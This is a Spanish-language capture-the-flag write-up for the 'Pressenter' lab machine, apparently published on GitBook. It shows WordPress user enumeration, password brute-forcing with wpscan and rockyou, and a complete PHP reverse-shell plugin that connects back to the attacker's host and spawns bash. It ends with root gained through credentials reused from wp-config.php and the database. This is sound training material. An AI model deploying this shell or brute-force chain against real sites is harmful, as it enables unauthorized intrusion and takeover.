> For the complete documentation index, see [llms.txt](https://shinki-organization.gitbook.io/dw/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://shinki-organization.gitbook.io/dw/write-ups/quickstart/maquinas-faciles/pressenter-write-up.md).

# Pressenter write-up

## **Verificamos conexión con la máquina víctima**

<figure><img src="https://2926281601-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgtRbXiV3TKrR36CLHEu%2Fuploads%2Fk368Z5gU8sTuUe5QulI4%2F1.png?alt=media&amp;token=b5b643a4-4fce-4e6b-9b82-7625de427f2e" alt=""><figcaption></figcaption></figure>

## **Realizamos un escaneo de los puertos abiertos en la máquina víctima**

Utilizamos **nmap** para escanear los puertos abiertos con el siguiente comando:

```bash
sudo nmap -p- -sCVS --min-rate=5000 -vvv -Pn -n -O 172.17.0.2
```

<figure><img src="https://2926281601-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgtRbXiV3TKrR36CLHEu%2Fuploads%2FGK1JKwRbwJEiBICkG7uN%2F2.png?alt=media&amp;token=2bc09d1c-1264-480a-87f7-aaa7d144e504" alt=""><figcaption></figcaption></figure>

El escaneo indica que el puerto 80 (HTTP) está abierto. Así que ingresamos la IP de la máquina víctima en el navegador y vemos lo siguiente:

<figure><img src="https://2926281601-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgtRbXiV3TKrR36CLHEu%2Fuploads%2FVykiXZyVI81gcYahCg1n%2F3.png?alt=media&amp;token=9cef603e-055a-4d0f-a19d-ee74f4496d1e" alt=""><figcaption></figcaption></figure>

Aparentemente, no hay nada interesante. Sin embargo, al inspeccionar el código fuente, encontramos lo siguiente:

<figure><img src="https://2926281601-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgtRbXiV3TKrR36CLHEu%2Fuploads%2FHgoNjYdfQucOU1gi9las%2F4.png?alt=media&amp;token=8e0f6bd8-6b13-42c1-98ec-9736ad4c5e7d" alt=""><figcaption></figcaption></figure>

Esto nos indica que existe una página llamada `pressenter.hl`, pero para esta funcione correctamente, primero debemos editar el archivo `/etc/hosts` para configurar la resolución local del nombre de dominio.

<figure><img src="https://2926281601-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgtRbXiV3TKrR36CLHEu%2Fuploads%2FbZBFHwVwhIQEsdwzlL26%2F5.png?alt=media&amp;token=5c055f63-2805-4e57-9b73-469846189e95" alt=""><figcaption></figcaption></figure>

Una vez editado el archivo introducimos `pressenter.hl` en el navegador y vemos lo siguiente:

<figure><img src="https://2926281601-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgtRbXiV3TKrR36CLHEu%2Fuploads%2F1uCYdQUhLKwmYqRVmIMN%2F6.png?alt=media&amp;token=ce2959c7-6e4e-4969-b629-8d99eddcfbf7" alt=""><figcaption></figcaption></figure>

Vemos que parece que se está usando WordPress, así que ponemos la dirección `http://pressenter.hl/wp-admin` para comprobarlo.

<figure><img src="https://2926281601-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgtRbXiV3TKrR36CLHEu%2Fuploads%2FiOQIOd04YkZwI8eQQfkD%2F7.png?alt=media&amp;token=593a7972-d6b1-453e-8c94-72239002969c" alt=""><figcaption></figcaption></figure>

Observamos que parece estar en uso WordPress., así que vamos a usar **wpscan** para listar los usuarios existentes con el siguiente comando:

```bash
wpscan --url http://pressenter.hl/ --enumerate u
```

<figure><img src="https://2926281601-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgtRbXiV3TKrR36CLHEu%2Fuploads%2FpkZKt80Mm2ZOuCBaglF7%2F8.png?alt=media&amp;token=6618a172-6ba3-4dbf-821d-ab1278c80496" alt=""><figcaption></figcaption></figure>

Y nos indica que existe el usuario `pressi` y `hacker`, así que ahora vamos a hacer un ataque de fuerza bruta a los dos usuarios con el siguiente comando:

```bash
wpscan --url http://pressenter.hl/ --usernames "pressi,hacker" --passwords ../rockyou.txt
```

<figure><img src="https://2926281601-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgtRbXiV3TKrR36CLHEu%2Fuploads%2Fg96XBrCI4ORi2CJyvrpw%2F9.png?alt=media&amp;token=4467414f-1b5e-4ef9-875c-8b3cd480fa03" alt=""><figcaption></figcaption></figure>

El resultado indica que la contraseña del usuario `pressi` es `dumbass`. Iniciamos sesión con esas credenciales.

<figure><img src="https://2926281601-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgtRbXiV3TKrR36CLHEu%2Fuploads%2F2Wrc5BGAT9GNaemRmpJ4%2F10.png?alt=media&amp;token=49f0ae70-0fbe-4245-b445-53337904cd22" alt=""><figcaption></figcaption></figure>

Una vez dentro vamos a crear un plugin malicioso con el siguiente código:

```php
<?php

set_time_limit (0);
$VERSION = "1.0";
$ip = '172.17.0.1';  // CHANGE THIS
$port = 444;       // CHANGE THIS
$chunk_size = 1400;
$shell = 'uname -a; w; id; /bin/bash -i';
$contador = 0;
$debug = 0;
$daemon = 0;
$welcome_message = "  \033[1;34m_____   _   _   _____   _   _   _  __  _____   
 / ____| | | | | |_   _| | \ | | | |/ / |_   _|  
| (___   | |_| |   | |   |  \| | | ' /    | |    
 \___ \  |  _  |   | |   | . ` | |  <     | |    
 ____) | | | | |  _| |_  | |\  | | . \   _| |_   
|_____/  |_| |_| |_____| |_| \_| |_|\_\ |_____|  \033[0m\n";

$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
	printit("$errstr ($errno)");
	exit(1);
}

// Spawn shell process
$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
	printit("ERROR: Can't spawn shell");
	exit(1);
}

stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);


// Mostrar mensaje de bienvenida a la shell

fwrite($sock, $welcome_message);



while (1) {
	// Check for end of TCP connection
	if (feof($sock)) {
		printit("ERROR: Shell connection terminated");
		break;
	}

	// Check for end of STDOUT
	if (feof($pipes[1])) {
		printit("ERROR: Shell process terminated");
		break;
	}

    $read_a = array($sock, $pipes[1], $pipes[2]);
	$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

	// If we can read from the TCP socket, send
	// data to process's STDIN
	if (in_array($sock, $read_a)) {
		if ($debug) printit("SOCK READ");
		$input = fread($sock, $chunk_size);
		if ($debug) printit("SOCK: $input");
		fwrite($pipes[0], $input);
	}

	// If we can read from the process's STDOUT
	// send data down tcp connection
	if (in_array($pipes[1], $read_a)) {
		if ($debug) printit("STDOUT READ");
		$input = fread($pipes[1], $chunk_size);
		if ($debug) printit("STDOUT: $input");
		fwrite($sock, $input);
	}

	// If we can read from the process's STDERR
	// send data down tcp connection
	if (in_array($pipes[2], $read_a)) {
		if ($debug) printit("STDERR READ");
		$input = fread($pipes[2], $chunk_size);
		if ($debug) printit("STDERR: $input");
		fwrite($sock, $input);
	}

}
function printit ($string) {
	if (!$daemon) {
		print "$string\n";
	}
}

?>
```

Ahora comprimimos el archivo en formato ZIP con el siguiente comando:

```bash
zip -r shell.zip shell.php 
```

Procedemos a instalarlo en WordPress accediendo a la sección de plugins y haciendo clic en `Añadir nuevo plugin`. Después hacemos clic en `Subir plugin` y subimos el archivo `shell.zip` que hemos creado y hacemos clic en `Activar plugin`.

<figure><img src="https://2926281601-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgtRbXiV3TKrR36CLHEu%2Fuploads%2FTOE06Zni1XDJIVeRhOdf%2F11.png?alt=media&amp;token=76b311e2-b880-488d-9399-944219eff38f" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2926281601-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgtRbXiV3TKrR36CLHEu%2Fuploads%2FYTJZjojNBfqcOQEI7fJZ%2F12.png?alt=media&amp;token=890a1071-5f1b-4d00-ab41-722772d64c2b" alt=""><figcaption></figcaption></figure>

Una vez el plugin está activo solo tenemos que ponernos en escucha por el puerto 444 con **netcat** y introducimos la dirección `http://pressenter.hl/wp-content/plugins/shell/shell.php` en el navegador

<figure><img src="https://2926281601-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgtRbXiV3TKrR36CLHEu%2Fuploads%2F6m7VsAZN10UxAWlrQrWW%2F13.png?alt=media&amp;token=8621d560-7899-48cc-8633-02b3697a6081" alt=""><figcaption></figcaption></figure>

Y así ya estaríamos dentro de la máquina víctima.

## **Escalada de privilegios**

Una vez dentro de la máquina víctima, navegamos hasta el archivo de configuración ubicado en `/var/www/pressenter/wp-config.php`, donde encontramos la siguiente información:

<figure><img src="https://2926281601-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgtRbXiV3TKrR36CLHEu%2Fuploads%2Fzs22orpzpZx8hlBNDrpF%2F14.png?alt=media&amp;token=dff8c37d-b9df-4eb8-9cf2-00f79eebd867" alt=""><figcaption></figcaption></figure>

Así que usamos esas credenciales para acceder a la base de datos con el siguiente comando:

```bash
mysql -u admin -p
```

<figure><img src="https://2926281601-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgtRbXiV3TKrR36CLHEu%2Fuploads%2FV1Mn6TwIpqgPrBAN4ev5%2F15.png?alt=media&amp;token=37f1fb69-8102-4060-a256-4f1b38bdd723" alt=""><figcaption></figcaption></figure>

Buscando nos encontramos con la tabla `wp_usernames` la cual está en la base de datos llamada `wordpress` y contiene la contraseña `kernellinuxhack`:

<figure><img src="https://2926281601-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgtRbXiV3TKrR36CLHEu%2Fuploads%2F0OyK0dTKcQxFz3XpxAXx%2F16.png?alt=media&amp;token=8d488ea7-3c40-488f-b288-dbd77f817e8a" alt=""><figcaption></figcaption></figure>

Así iniciamos sesión como el usuario root esa contraseña y vemos que funciona correctamente.

<figure><img src="https://2926281601-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgtRbXiV3TKrR36CLHEu%2Fuploads%2F3qRt3J2HWdZdyGEE0lDe%2F17.png?alt=media&amp;token=89c8dbff-49e2-4926-81aa-a53a047da240" alt=""><figcaption></figcaption></figure>
